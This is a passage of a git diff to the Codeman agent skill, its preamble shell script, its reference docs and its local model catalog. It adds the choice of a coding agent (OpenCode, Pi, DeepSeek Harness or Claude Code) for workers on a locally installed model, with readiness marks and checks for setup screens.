 # here would fail that match and rewrite this file on every single bootstrap.
-CODEMAN_PREAMBLE=1.50.0
+CODEMAN_PREAMBLE=1.51.0
 PREAMBLE
 )
-. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
+. "$PRE"; [ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble at $PRE is stale or truncated: rm it and re-run this block"; exit 1; }
 ```
 
 Every later Bash call that touches the API starts with the same two loader lines from
@@ -737,7 +808,7 @@ and no per-call body to hand-build.
 
 ```bash
 . "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null   # §0 loader
-[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
+[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
 N=(alpha beta)                    # INVENT one fresh case name per worker; never list cases first
                                   # (a name may carry a mode: `beta:deepseek`, see below)
 T=('reply with one line: the absolute path of your working directory'
@@ -850,9 +921,25 @@ Three things to know before you spawn one:
 When Codeman has installed a model on the Mac it runs on (the **Run a local model** button
 on its welcome screen), you can hand work to that model from here. You stay the planner and
 the reviewer in the cloud; the Mac does the bulk. `spawn_worker <name> local` starts a worker
-on the installed model, run by the coding agent it was installed with (OpenCode on the Mac
-it was tested on), and from then on it is the same verbs. It mixes into one fleet like any
-other mode: `spawn_workers plan review:deepseek summ:local`.
+on the installed model, run by its default coding agent (OpenCode on the Mac it was tested
+on), and from then on it is the same verbs. It mixes into one fleet like any other mode:
+`spawn_workers plan review:deepseek summ:local`.
+
+**Which coding agent runs the worker is yours to choose.** `local_model` lists them as
+`agents`, each with a `status`; `spawn_worker <name> local:<cli>` starts one that is `ready`:
+
+| Worker kind | Agent | Why you would pick it | Drive it with |
+| --- | --- | --- | --- |
+| `local` | the default one (`cli` of `local_model`) | you have no reason to choose | `sendmark` (`sendwait` when it is claude) |
+| `local:opencode` | OpenCode | the tested pair; a full tool set | `sendmark` |
+| `local:pi` | Pi | the smallest fixed prompt (about 2,100 tokens against 8,000 and more), so the first answer comes soonest and the most context is left for the work | `sendmark` |
+| `local:deepseek` | DeepSeek Harness | the user already works with it | `sendmark` (it reports the end of a turn, but on dsh 0.2.2 its answer cannot be read back through `sendwait` yet) |
+| `local:claude` | Claude Code | hooks and `sendwait`, at the price of a first answer that takes minutes | `sendwait` |
+
+An agent whose status is `installable`, `installing` or `setup-needed` is not startable, and
+the spawn says so with the ones that are. Installing an agent is a person's click in the
+**Run a local model** window, like installing a model: tell the user, do not work around it.
+A Codeman older than 1.51 lists no agents, and only plain `local` works there.
 
 Reach for it when:
 
@@ -866,9 +953,9 @@ Reach for it when:
 
 ```bash
 . "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null   # §0 loader
-[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
-local_model || exit 1      # one JSON line: model, agent, endpoint; or the reason there is none
-SID=$(spawn_worker summ local) || exit 1      # starts a stopped runtime first; empty = failed
+[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; run the full §0 block"; exit 1; }
+local_model || exit 1      # one JSON line: model, agents, endpoint; or the reason there is none
+SID=$(spawn_worker summ local) || exit 1      # or local:pi, local:deepseek; starts a stopped runtime first; empty = failed
 WD=$("${CURL[@]}" "$API/api/v1/sessions/$SID" | jq -r .data.workingDir)
 mkdir -p "$WD/input" && cp ./docs/*.md "$WD/input/"   # inside its own folder (§5.9), apart from its CLAUDE.md
 R=$(sendmark "$SID" 'Summarize each .md file in the folder input, two lines each' 900); RC=$?
@@ -891,8 +978,9 @@ The limits, before you promise the user anything:
 - **A Mac with Apple silicon, and a model a person installed** in Codeman's local model
   window. This skill never installs one: that is a download of many gigabytes the person
   confirms there. `local_model` says what is missing (`not-mac`, `not-installed`,
-  `install-unfinished`, `blocked`, `admin-only`, `unsupported`), so tell the user that
-  instead of guessing.
+  `install-unfinished`, `no-agent`, `blocked`, `admin-only`, `unsupported`), so tell the
+  user that instead of guessing. It also lists the models on this Mac (`models`); only the
+  `active` one runs, and switching to another is a person's decision in the window.
 - **One model, one request at a time.** The runtime loads one model and answers one request
   at a time, so two local workers take turns rather than work side by side. Fan out to the
   cloud; give the Mac a queue.
@@ -900,9 +988,20 @@ The limits, before you promise the user anything:
   M5 Pro with 48 GB, ran at about 68 tokens a second, and the first request after a start
   loads the model first. A local worker run by claude spends minutes on its first answer
   (its fixed prompt is about 36,000 tokens).
-- **Markers, not hooks.** OpenCode reports no end of turn, so `sendwait` answers 400 for
-  that worker; `sendmark` is the way through. If the installed agent is claude, the worker
-  has hooks and `sendwait` works as for any claude worker.
+- **Markers, not hooks.** OpenCode and Pi report no end of turn, so `sendwait` answers 400
+  for those workers; `sendmark` is the way through. A claude worker has hooks, so
+  `sendwait` works for it. A DeepSeek Harness worker reports its turns too, but drive it
+  with `sendmark` on the local model: dsh 0.2.2 renamed its transcript file, and Codeman
+  reads an empty answer from it for now.
+- **DeepSeek Harness has a setup guide a person finishes once.** Until then every dsh
+  session opens on it, and the spawn refuses the worker (and deletes it) instead of typing
+  a task into a sign-in screen. Tell the user to start one DeepSeek session from the Run
+  menu and finish the guide.
+- **Pi starts without trusting the folder.** A `local:pi` worker is started with
+  `--no-approve`, so it loads no project extensions or skills from the case folder: on the
+  local model Pi would otherwise ask to trust the folder in every session, and a task
+  prompt must never answer that question. Pi also fetches its two search tools at each such
+  start, which needs the network for a moment.
 - **Spawning can change what the person set.** A stopped runtime is started, which also
   undoes the person's Stop: it then starts with Codeman again. And while a local worker is
   open, the window refuses Stop and Remove and names your workers, so delete them as soon

skills/codeman/preamble.sh

@@ -1,4 +1,4 @@
-# ---- Codeman agent preamble 1.50.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
+# ---- Codeman agent preamble 1.51.0 (seeded by Codeman at session spawn; the SKILL.md §0 bootstrap rewrites it when missing or stale) ----
 # Positional parameters are always written with braces, ${1} and never a bare dollar-digit: Claude Code
 # replaces a bare one in a skill body with the matching word of the skill's arguments, and §0 is pasted
 # from that body (test/agent-skill.test.ts pins it).
@@ -59,6 +59,17 @@ _dsh_up() {        # <sid> <timeoutMs> -> "true"/"false". The DeepSeek Harness T
   # composer glyph. Override with DSH_READY_MARK for a profile that draws another one.
   _mark_up "${1}" "${DSH_READY_MARK:-❯}" "${2}"
 }
+_dsh_guide() {     # <sid> -> 0 when the pane shows dsh-TUI's first-run SETUP GUIDE, not a composer.
+  # dsh-TUI 0.19.0 opens a guide ("Welcome to dsh-TUI  Step 1 of 4") in every session until a
+  # person has finished it once, and the guide's own cursor is `❯`: the readiness mark matches
+  # on it (measured, 2 of 2 launches), and an Enter there acts on the highlighted step, which
+  # is a sign-in. So a worker whose mark matched is still checked for the guide, on the
+  # RENDERED pane with its whitespace removed, and never handed back while it shows.
+  "${CURL[@]}" -G "$API/api/v1/sessions/${1}/terminal" --data-urlencode 'full=1' \
+    | jq -r '.data.terminalBuffer // empty' \
+    | sed -e "s/$(printf '\033')\[[0-9;?]*[a-zA-Z]//g" -e "s/$(printf '\033')[()][AB0]//g" \
+    | tr -d ' \t' | grep -qi 'Step[0-9]of[0-9]'
+}
 # ---- the workspace-trust dialog: READ the screen, never press Enter blind ----
 # Claude Code 2.1.252 dropped the option numbers, REVERSED them, and highlights
 # "No, exit" by default:
@@ -121,9 +132,18 @@ _accept_trust() {  # <sid> -> 0 once it has answered the dialog, 1 if it could n
 # local_model -> ONE compact JSON object on stdout. rc 0 only when a `local` worker can be
 # spawned now (`running:true`) or once spawn_worker has started the runtime (`running:false`):
 #   {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
-#    "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>"}
+#    "endpointId":"local-ollama","modelId":"<id>","modelLabel":"<label>",
+#    "agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
+#              {"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
+#    "models":[{"id":"<id>","label":"<label>","active":true,"status":"ready","sizeGb":"23.1"}]}
+# `cli` is the DEFAULT coding agent, the one `spawn_worker <name> local` starts. `agents` is
+# every agent the model can be run with: `local:<cli>` starts one whose status is `ready`
+# (`installable`, `installing` and `setup-needed` are a person's to resolve in the window).
+# `models` is what is on this Mac; only the `active` one runs, and switching is a person's
+# decision too. A Codeman older than 1.51 sends neither list: only `local` works there.
 # Otherwise rc 1 and {"spawnable":false,"reason":"<reason>","message":"<why>",...}, the reason
-# one of: not-mac, not-installed, install-unfinished, blocked (installed, but the server
+# one of: not-mac, not-installed, install-unfinished, no-agent (installed, but no coding agent
+# that can run the model is on this Mac), blocked (installed, but the server
 # refuses a session now: the model changed on disk, another program holds the port, the
 # runtime does not start), admin-only (multi-user mode, 403), unsupported (a Codeman without
 # local models, 404), unauthorized (401, §6), unreachable, error.
@@ -139,12 +159,23 @@ local_model() {
         | reduce ((.vars // {}) | to_entries[]) as $e ($t; gsub("\\{" + $e.key + "\\}"; $e.value));
       .data as $d | ($d.install // {}) as $i | ($i.actions // []) as $a
       | {state:$i.state, running:($i.running == true), cli:$i.cli, cliLabel:$i.cliLabel,
-         endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label} as $base
+         endpointId:$i.endpointId, modelId:$i.model.id, modelLabel:$i.model.label,
+         agents:(if ($i.harnesses | type) == "array"
+                 then [$i.harnesses[] | {cli, cliLabel, status, default, readyMark} | with_entries(select(.value != null))]
+                 else null end),
+         models:(if ($i.library | type) == "array" and ($i.library | length) > 0
+                 then [$i.library[] | {id, label, active, status, sizeGb} | with_entries(select(.value != null))]
+                 else null end)} as $base
       | if ($d | type) != "object" then {spawnable:false, reason:"error", message:"no data in the answer"}
         elif $i.state == "installed" then
+          # With the agents listed and none of them startable there is nothing to spawn,
+          # running or not: say that, not "blocked".
+          if $i.error == null and $base.agents != null and ([$base.agents[] | select(.status == "ready")] | length) == 0
+          then {spawnable:false, reason:"no-agent",
+                message:"The model is installed, but no coding agent that can run it is on this Mac. A person installs one in the Run a local model window."} + $base
           # `start` alone over-promises: it is offered too while another program holds the
           # port. Only an error-free start is a runtime spawn_worker can bring up.
-          if ($i.cli and $i.endpointId and $i.model.id)
+          elif ($i.cli and $i.endpointId and $i.model.id)
              and (($a | index("start-session")) != null or (($a | index("start")) != null and $i.error == null))
           then {spawnable:true} + $base
           else {spawnable:false, reason:"blocked", errorCode:$i.error.code,
@@ -207,31 +238,55 @@ _local_ready_model() {
 # rather than handed back, because a worker that never drew its composer would eat the
 # task prompt with its trust dialog. There is deliberately no pid poll: wait-output
 # already blocks until the composer draws, and pid!=null proved startup, never readiness.
-# mode `local` is the model Codeman installed on this Mac (local_model), run by the coding
-# agent it was installed with. The worker's mode becomes that agent, and the endpoint and
-# model ride the quick-start as `customModel`: the launch the window's "Start a session"
-# makes. A stopped runtime is started first. Any answer that wants a person to confirm
-# something (a context below the agent's safe floor, a model swap) fails the spawn: this
-# never confirms on anyone's behalf.
+# mode `local` is the model Codeman installed on this Mac (local_model), run by its default
+# coding agent; `local:<cli>` (`local:pi`, `local:deepseek`, `local:opencode`, `local:claude`)
+# picks another one of local_model's `agents`, which must be `ready`. The worker's mode
+# becomes that agent, and the endpoint and model ride the quick-start as `customModel`: the
+# launch the window's "Start a session" makes. A stopped runtime is started first. Any answer
+# that wants a person to confirm something (a context below the agent's safe floor, a model
+# swap) fails the spawn: this never confirms on anyone's behalf, and it never installs an
+# agent. All local workers share ONE model that answers one request at a time.
 # CODEMAN_WORKER_ADVISOR=opus (or fable / sonnet) gives every CLAUDE worker spawned while
 # it is set Claude Code's advisor tool: a stronger model the worker consults before
 # committing to an approach, on a recurring error and before declaring the task done.
 # Other modes ignore it. A value the server refuses fails the spawn (INVALID_INPUT); an
 # advisor that ranks below the worker's model is accepted but never attached by claude.
 spawn_worker() {
-  local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark=''
+  local name="${1:?spawn_worker needs a case name}" mode="${2:-claude}" q sid cp r lm cm='' mark='' want=''
+  case "$mode" in local:*) want=${mode#local:}; mode=local ;; esac
   if [ "$mode" = local ]; then
     lm=$(_local_ready_model) || return 1
-    mode=$(jq -r .cli <<<"$lm")
+    if [ -n "$want" ]; then
+      # Only an agent the server lists as startable. A Codeman that lists none (older than
+      # 1.51) knows one agent, its `cli`: naming that one is fine, any other is not.
+      r=$(jq -r --arg w "$want" 'if (.agents | type) == "array" then ([.agents[] | select(.cli == $w) | .status][0] // "absent")
+                                 elif .cli == $w then "ready" else "unlisted" end' <<<"$lm")
+      case "$r" in
+        ready) ;;
+        unlisted) echo "this Codeman lists one coding agent for the local model, $(jq -r .cli <<<"$lm"): use plain \`local\`, or update Codeman to choose another" >&2; return 1 ;;
+        absent) echo "the local model cannot be run with '$want' here. Startable: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
+        *) echo "the coding agent '$want' is not startable on this Mac ($r): a person installs or sets it up in the Run a local model window. Startable now: $(jq -r '[.agents[] | select(.status == "ready") | .cli] | join(", ")' <<<"$lm")" >&2; return 1 ;;
+      esac
+      mode=$want
+    else
+      mode=$(jq -r .cli <<<"$lm")
+    fi
     cm=$(jq -c '{endpointId, modelId}' <<<"$lm")
-    # Readiness is a token the agent's composer draws. The registry's composer data never
-    # reaches the API, so it is named per agent here. opencode: `┃`, its `workDetect.promptGlyph`.
-    # That field is no readiness mark in general (the registry keeps `composerReadyMark` for
-    # that, and declares none for opencode), but at boot only the composer draws it: measured
-    # on opencode 1.3.0 on Linux, fresh home, custom provider, the first `┃` came with the composer,
-    # and a prompt pasted with its Enter at that moment was submitted. claude takes the claude
-    # path below. Any other agent needs LOCAL_READY_MARK rather than a worker handed back on a guess.
-    [ "$mode" = opencode ] && mark='┃'
+    # Readiness is a token the agent's composer draws once it takes input. The server names
+    # the measured one per agent (`readyMark`: opencode `┃`, deepseek `❯`, claude `shift+tab`).
+    # For a server that sends none, the two this skill measured itself:
+    #  - opencode `┃`: at boot only the composer draws it (1.3.0 and 1.19.5, a prompt pasted
+    #    at the mark was submitted every time).
+    #  - pi `extended-keys`: pi paints its composer rules in its FIRST frame and ignores Enter
+    #    until startup has finished, so its rule is no mark (a prompt sent at it stayed
+    #    unsent, 2 of 2). The last line of its startup is a warning that tmux's
+    #    `extended-keys` option is off, which it is on Codeman's socket: a prompt sent once
+    #    that word showed was submitted, 4 of 4 on pi 1.5.2. It is a side effect, not a
+    #    contract, so a pi that stops printing it fails the spawn (the worker is deleted, never
+    #    handed back on a guess) until LOCAL_READY_MARK names what it draws instead.
+    # claude takes the claude path below.
+    mark=$(jq -r --arg m "$mode" '[(.agents // [])[] | select(.cli == $m) | .readyMark // empty][0] // empty' <<<"$lm")
+    [ -n "$mark" ] || case "$mode" in opencode) mark='┃' ;; pi) mark='extended-keys' ;; esac
     mark=${LOCAL_READY_MARK:-$mark}
     [ "$mode" = claude ] || [ -n "$mark" ] || {
       echo "the local model runs through $mode, and this skill knows no composer mark for it: set LOCAL_READY_MARK to a space-free token its composer draws" >&2
@@ -246,11 +301,16 @@ spawn_worker() {
   # server clamps this back to `workspace-write` for an owner without the grant.
   # Spawn by hand (§5.1) when you want a worker that asks. The advisor is a cloud model,
   # so a claude worker on the local model never gets one.
+  # pi on the local model: a custom model session gives pi a home of its own, so it would
+  # ask "Trust project folder?" in EVERY session whose parent folders hold agent skills, with
+  # Trust preselected, and the task prompt's Enter would answer it. `approveProjectTrust:
+  # false` starts it with --no-approve: no dialog, and no project code is trusted for anyone.
   q=$("${CURL[@]}" -X POST "$API/api/v1/quick-start" -H 'Content-Type: application/json' \
       -d "$(jq -nc --arg n "$name" --arg m "$mode" --arg p "$SELF" --arg a "${CODEMAN_WORKER_ADVISOR:-}" --arg cm "$cm" \
         '{caseName:$n,mode:$m,parentSessionId:$p}
          + (if $m == "deepseek" then {deepSeekConfig:{permissionMode:"danger-full-access"}} else {} end)
          + (if $m == "claude" and $a != "" and $cm == "" then {advisorModel:$a} else {} end)
+         + (if $m == "pi" and $cm != "" then {piConfig:{approveProjectTrust:false}} else {} end)
          + (if $cm != "" then {customModel:($cm | fromjson)} else {} end)')")
   # The answers that want a PERSON to decide come back as success with no session id.
   if jq -e '(.data // .) | (.requiresContextWarning or .requiresConfirmation)' <<<"$q" >/dev/null 2>&1; then
@@ -267,11 +327,18 @@ spawn_worker() {
     echo "worker $sid: this Codeman server ignored CODEMAN_WORKER_ADVISOR (no advisor support); it runs without one" >&2
   fi
   if [ -n "$cm" ] && [ "$mode" != claude ]; then
-    # No trust dialog and no hook file to vet: the agent has no hooks, which is exactly
-    # why sendwait refuses it (400) and sendmark drives it.
+    # No trust dialog and no hook file to vet. opencode and pi have no end-of-turn signal,
+    # which is exactly why sendwait refuses them (400) and sendmark drives them. A deepseek
+    # worker reports the end of a turn on the local model too, but sendmark is still the way
+    # to get its ANSWER: dsh 0.2.2 renamed its transcript file, and until Codeman reads the
+    # new one `last-response` comes back empty for it.
     r=$(_mark_up "$sid" "$mark" 45000)
     [ "$r" = true ] || { echo "local worker $sid ($mode) never drew '$mark' within 45 s; deleted it. Look at GET /api/v1/local-model and the pane of a hand-made session before retrying" >&2
       delete_session "$sid" >/dev/null; return 1; }
+    if [ "$mode" = deepseek ] && _dsh_guide "$sid"; then
+      echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
+      delete_session "$sid" >/dev/null; return 1
+    fi
     printf '%s\n' "$sid"; return 0
   fi
   if [ "$mode" = deepseek ]; then
@@ -287,6 +354,10 @@ spawn_worker() {
     r=$(_dsh_up "$sid" 45000)
     [ "$r" = true ] || { echo "dsh worker $sid never drew a composer: no pane-capable profile, a profile whose composer is not '${DSH_READY_MARK:-❯}' (set DSH_READY_MARK), or a harness that failed to boot -- check GET /api/v1/deepseek/status. Deleted it" >&2
       delete_session "$sid" >/dev/null; return 1; }
+    if _dsh_guide "$sid"; then
+      echo "dsh worker $sid opened DeepSeek Harness's setup guide instead of a composer; deleted it. A person finishes that guide once (start a DeepSeek session from the Run menu), then spawn again" >&2
+      delete_session "$sid" >/dev/null; return 1
+    fi
     printf '%s\n' "$sid"; return 0
   fi
   [ "$mode" = claude ] || { printf '%s\n' "$sid"; return 0; }   # no other mode draws a composer to wait on
@@ -545,4 +616,4 @@ last_text() {
 # The stamp is the LAST line on purpose (a truncated write leaves it unset) and is kept
 # bare on purpose: the write condition above anchors on it with $, so an inline comment
 # here would fail that match and rewrite this file on every single bootstrap.
-CODEMAN_PREAMBLE=1.50.0
+CODEMAN_PREAMBLE=1.51.0

skills/codeman/reference/recipes.md

@@ -21,7 +21,7 @@ by sourcing the preamble file the §0 bootstrap wrote, and checking its version
 
 ```bash
 . "${XDG_CACHE_HOME:-$HOME/.cache}/codeman-agent-$CODEMAN_SESSION_ID.sh" 2>/dev/null
-[ "${CODEMAN_PREAMBLE:-}" = 1.50.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
+[ "${CODEMAN_PREAMBLE:-}" = 1.51.0 ] || { echo "preamble missing or stale; re-run the §0 bootstrap"; exit 1; }
 ```
 
 Do **not** re-paste the preamble body into each call. Sourcing it is what retires the

skills/codeman/reference/verbs.md

@@ -831,9 +831,19 @@ can be spawned now (`running: true`) or once `spawn_worker` has started the runt
 
 ```json
 {"spawnable":true,"state":"installed","running":true,"cli":"opencode","cliLabel":"OpenCode",
- "endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B"}
+ "endpointId":"local-ollama","modelId":"qwen3.6:35b-a3b","modelLabel":"Qwen3.6 35B-A3B",
+ "agents":[{"cli":"opencode","cliLabel":"OpenCode","status":"ready","default":true,"readyMark":"┃"},
+           {"cli":"pi","cliLabel":"Pi","status":"installable","default":false}],
+ "models":[{"id":"qwen3.6:35b-a3b","label":"Qwen3.6 35B-A3B","active":true,"status":"ready","sizeGb":"23.1"}]}
 ```
 
+`cli` is the default coding agent. `agents` is every agent the model can be run with
+(`install.harnesses` of the route): `ready` can be started, `installable` and `installing`
+are an install a person makes or made in the window, `setup-needed` is an agent with a setup
+of its own (DeepSeek Harness without a terminal profile). `models` is what is on the Mac
+(`install.library`); only the `active` one runs. A Codeman older than 1.51 sends neither
+list, and both keys are then absent.
+
 Exit 1 carries `reason` and `message` (the server's own sentence where it has one):
 
 | `reason` | What it means | What to tell the user |
@@ -841,6 +851,7 @@ Exit 1 carries `reason` and `message` (the server's own sentence where it has on
 | `not-mac` | the server is not on macOS | local models need a Mac with Apple silicon |
 | `not-installed` | nothing installed; on a Mac where no model fits, `message` says why | install one with **Run a local model** on the welcome screen |
 | `install-unfinished` | a job is installing, paused or failed (`state`, `step`, `errorCode`) | finish it in that window; nothing here continues it |
+| `no-agent` | installed, and `agents` holds none that is `ready` | install a coding agent in that window (a chip that says "Not installed") |
 | `blocked` | installed, but the server refuses a session now (`errorCode`: `model-changed`, `port-in-use`, `runtime-start-failed`, `runtime-stopped`) | the window shows the one button that helps |
 | `admin-only` | multi-user mode, and you are not an admin (403) | ask an admin |
 | `unsupported` | the server has no local model routes (404) | it predates the feature |
@@ -849,29 +860,44 @@ Exit 1 carries `reason` and `message` (the server's own sentence where it has on
 It never downloads, installs or starts anything. Installing is many gigabytes the person
 confirms in the window, and no route this skill calls can do it.
 
-**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), in order:
+**`spawn_worker <name> local`** (also `name:local` in `spawn_workers`), and
+**`spawn_worker <name> local:<cli>`** to choose the coding agent, in order:
 
-1. `local_model`; anything but exit 0 fails the spawn with that reason.
+1. `local_model`; anything but exit 0 fails the spawn with that reason. With `local:<cli>`
+   the agent must be a row of `agents` whose status is `ready`; any other status, or an
+   agent the model cannot be run with, fails the spawn with the ones that are startable.
+   On a Codeman that lists no agents only its one `cli` can be named. No agent is ever
+   installed from here.
 2. Runtime stopped: `POST /api/v1/local-model/runtime {"action":"start"}`, what the
    window's Start button sends, then `local_model` again until it reports `running`
    (about 30 s at most). This undoes a Stop the person made. Concurrent spawns may both
    send it; the server runs one runtime verb at a time and keeps a runtime that runs.
 3. `POST /api/v1/quick-start {"caseName":…,"mode":"<cli>","parentSessionId":…,
    "customModel":{"endpointId":…,"modelId":…}}`: the launch of the window's "Start a
-   session", with the installed agent as the mode. No advisor, which is a cloud model.
+   session", with the chosen agent as the mode. No advisor, which is a cloud model. A Pi
+   worker also carries `"piConfig":{"approveProjectTrust":false}` (`--no-approve`): on a
+   custom model Pi keeps no home, so it would ask to trust the folder in every session with
+   Trust preselected, and the task prompt's Enter would answer it.
    The server checks again that its own runtime runs and that the model on disk is the one
    it installed, and refuses otherwise (`OPERATION_FAILED`, with the reason).
 4. An answer of `requiresContextWarning` or `requiresConfirmation` is a question for a
    person (a context below the agent's safe floor, a model swap that would evict another
    session's model). It fails the spawn with the answer on stderr and nothing on stdout,
    and no `confirmed*` flag is ever sent.
-5. Readiness: OpenCode's composer bar `┃` (its registry `promptGlyph`) through
-   `wait-output`, 45 s, and the session deleted on a miss. Measured on OpenCode 1.3.0 on
-   Linux (not yet on a Mac) with a fresh home and a custom provider: nothing draws `┃` before the composer, there was no
-   first-run screen, and a prompt pasted with its Enter at the first `┃` was submitted. A
-   claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
-   dialog). Any other agent needs `LOCAL_READY_MARK` set to a space-free token its
-   composer draws, or the spawn is refused before a session exists.
+5. Readiness: a token the agent's composer draws once it takes input, through
+   `wait-output`, 45 s, and the session deleted on a miss. The token is the agent's
+   `readyMark` from `local_model` when the server sends one, else the one measured for this
+   skill, and `LOCAL_READY_MARK` overrides both. All of it was measured on Linux through a
+   custom model launch, none of it on a Mac yet:
+
+   | Agent | Token | What was measured |
+   |-------|-------|-------------------|
+   | OpenCode | `┃` | 1.3.0 and 1.19.5: nothing draws it before the composer, no first-run screen, and a prompt pasted at the first `┃` was submitted (2 of 2 on 1.19.5) |
+   | DeepSeek Harness | `❯`, then a look at the pane | 0.1.1-rc.2 with dsh-TUI 0.10.0-beta.1: splash, composer and status line arrive in one frame; a prompt sent at the mark was submitted (2 of 2). The harness reports idle about 150 ms BEFORE that frame, so `stop` is no readiness signal. 0.2.2-rc.1 with dsh-TUI 0.19.0: a setup guide ("Step 1 of 4") opens in every session until a person has finished it once, and its cursor is `❯` too (the mark matched on it, 2 of 2), so after the mark the rendered pane is read and a worker that shows the guide is deleted, never handed back; with the guide finished, a prompt sent at the mark was submitted |
+   | Pi | `extended-keys` | 1.5.2: Pi paints its composer rules in its first frame and ignores Enter until startup has finished, so the rule `─` is NOT a mark (a prompt sent at it stayed in the composer, 2 of 2). The last line of its startup is a warning that tmux's `extended-keys` option is off, which it is on Codeman's socket; a prompt sent once that word showed was submitted (4 of 4). A side effect, not a contract: a Pi that stops printing it fails the spawn until `LOCAL_READY_MARK` names what it draws instead |
+
+   A claude agent takes the claude path instead (hooks vetted, `shift+tab`, the trust
+   dialog). An agent with no token at all is refused before a session exists.
 
 **`sendmark <sid> <prompt> [timeoutSec]`** drives it, and any other agent worker without
 an end-of-turn signal ([§5.5](#55-markers-for-hook-less-workers)):

src/config/local-model-catalog.ts

@@ -13,10 +13,11 @@
  *    computed from that model's architecture. test/local-model-catalog.test.ts recomputes every
  *    computed figure from a table of architectures and refuses a row that is not in it, so a
  *    new row needs its model's config.json read, not a figure borrowed from a neighbour.
- *  - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`). The `cli` is a CLI
- *    registry id as data: no code may compare it with a literal. Whether that CLI exists and can
- *    take a custom model is checked against the registry at call time, in
- *    src/local-model/harness-facts.ts, never here.
+ *  - A harness is a ROW (`{ cli, minContext, rank, gated?, slowFirstTurn?, readyMark? }`). The
+ *    `cli` is a CLI registry id as data: no code may compare it with a literal. Whether that CLI
+ *    exists, can take a custom model and can be installed from here is checked against the
+ *    registry at call time, in src/local-model/harness-facts.ts, never here. HARNESSES below
+ *    says what was measured for each row, and where.
  *  - The schema checks more than fields. Across rows it requires: unique model ids and ranks,
  *    unique harness `cli`s and ranks, `contexts` largest first, a `tested` entry naming a harness
  *    row, and `chips` most specific first.
@@ -56,14 +57,50 @@
  * |                      |                                                           | faster than the run without it       |
  * | `tested`             | our own run of the model with a harness on a real Mac     | one entry, with its measured speed   |
  * | `minMacosMajor`      | the runtime's documentation (macOS 14)                    | yes, by the facts review             |
- * | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or  | 65536 yes. 32768 no, which is why    |
- * |                      | higher"), and OpenCode v1.19.5's own fixed prompt (about  | that row is gated                    |
- * |                      | 8,000 to 10,000 tokens) and compaction rule: at 32768 it  |                                      |
+ * | harness `minContext` | 65536: the runtime's documentation for OpenCode ("64k or  | 65536 yes. Nothing was run below it, |
+ * |                      | higher"), and OpenCode v1.19.5's own fixed prompt (about  | and no model row offers less, so     |
+ * |                      | 8,000 to 10,000 tokens) and compaction rule: at 32768 it  | every row says 65536 (HARNESSES)     |
  * |                      | leaves 14,000 to 16,000 tokens, less than one default     |                                      |
  * |                      | 2,000-line file read                                      |                                      |
  * | `chips`              | the bandwidth column of                                   | yes, read at the source for this     |
  * |                      | https://github.com/ggml-org/llama.cpp/discussions/4167    | file                                 |
  *
+ * HARNESSES. What each harness row rests on. The runs of 2026-11-10 were made on Linux through
+ * Codeman's own custom model launch, against a real model (Ollama 0.13.0, a 1.7B model on a CPU)
+ * where it says REAL, and against a scripted endpoint that replays that runtime's stream of a
+ * tool call where it says SCRIPTED. A scripted run proves the harness's side of the protocol,
+ * never what a model does with its prompt. None of them ran on a Mac or on the pinned runtime.
+ *
+ * | Harness    | First request (fixed prompt)      | Tool round trip                        | `readyMark`                          |
+ * |------------|-----------------------------------|----------------------------------------|--------------------------------------|
+ * | `opencode` | 8,115 tokens, 11 tools (v1.19.5;  | SCRIPTED (v1.19.5). REAL in our own    | `┃`: the first painted frame holds   |
+ * |            | more with user-level skills)      | run on a Mac, see the `tested` entry   | the composer; a prompt sent at the   |
+ * |            |                                   |                                        | mark was submitted, 2 of 2 launches  |
+ * | `claude`   | about 36,000 tokens, which is     | not run again for this table (the row  | none here: the CLI registry's        |
+ * |            | `slowFirstTurn`                   | shipped in 1.50.0)                     | `composerReadyMark` stands           |
+ * | `pi`       | 2,096 tokens, 4 tools (v1.5.2,    | REAL (v1.5.2): tool call, tool result, | none: its composer rules are painted |
+ * |            | the runtime's own count)          | final answer, the file on disk         | before it takes Enter (2 of 2        |
+ * |            |                                   |                                        | prompts sent at the rule stayed      |
+ * |            |                                   |                                        | unsent), and it draws nothing that   |
+ * |            |                                   |                                        | is a contract once it does           |
+ * | `deepseek` | about 7,650 tokens, 25 tools      | SCRIPTED only, on both versions        | none here: the CLI registry's `❯`    |
+ * |            | (0.1.1-rc.2); 6,983 tokens, 27    | (0.1.1-rc.2 with dsh-TUI 0.10.0-beta.1 | stands; a prompt sent at it was      |
+ * |            | tools (0.2.2-rc.1)                | and 0.2.2-rc.1 with dsh-TUI 0.19.0).   | submitted, 2 of 2 launches. On       |
+ * |            |                                   | REAL: the launch and the model name    | dsh-TUI 0.19.0 a setup guide draws   |
